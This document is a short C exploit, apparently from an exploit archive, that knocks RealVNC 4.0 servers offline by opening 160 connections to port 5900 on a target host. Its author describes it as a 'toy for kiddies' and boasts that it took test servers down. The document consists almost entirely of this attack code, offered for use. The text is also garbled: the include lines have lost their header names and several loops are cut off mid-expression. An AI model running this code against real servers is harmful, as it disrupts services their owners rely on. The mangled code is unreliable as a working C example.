// source: https://www.securityfocus.com/bid/11048/info RealVNC server is reported prone to a remote denial of service vulnerability. This issue presents itself when an attacker establishes a large amount connections to the server. This issue was reportedly tested on RealVNC 4.0 running on Microsoft Windows 2000. /**************************************************************************** * * * RealVNC 4.0 remote ddos Exploit * * * * This is a stupid bug and stupid exploit. and this toy for kiddies * * Tested agains Windows XP,2000 and 98. it works well and the test servers * * are down with an ADSL Router heheh :p have fun.. * * Anyway what can i say more... * * Gr33t1ngz: N4rK07IX, blueStar, L4M3R. * * * * Code by Uz4yh4N * * * ****************************************************************************/ #include #include #include #include #include #include #include #include #define PORT 5900 #define TIMES 160 main(int argc, char *argv[]) { int sockfd[TIMES+5],i; struct hostent *he; struct sockaddr_in servaddr; if(argc != 2) { fprintf(stdout, "\n Usage: %s hostname/ip \n\n",argv[0]); exit(-1); } if ((he=gethostbyname(argv[1])) == NULL) { perror("gethostbyname"); exit(-1); } for(i=0;ih_addr); memset(&(servaddr.sin_zero), '\0', 8); fprintf(stderr, "[+] Trying...\n"); for(i=0;i0;i--) close(sockfd[i]); fprintf(stdout, "[+] Done..\n"); return 0; }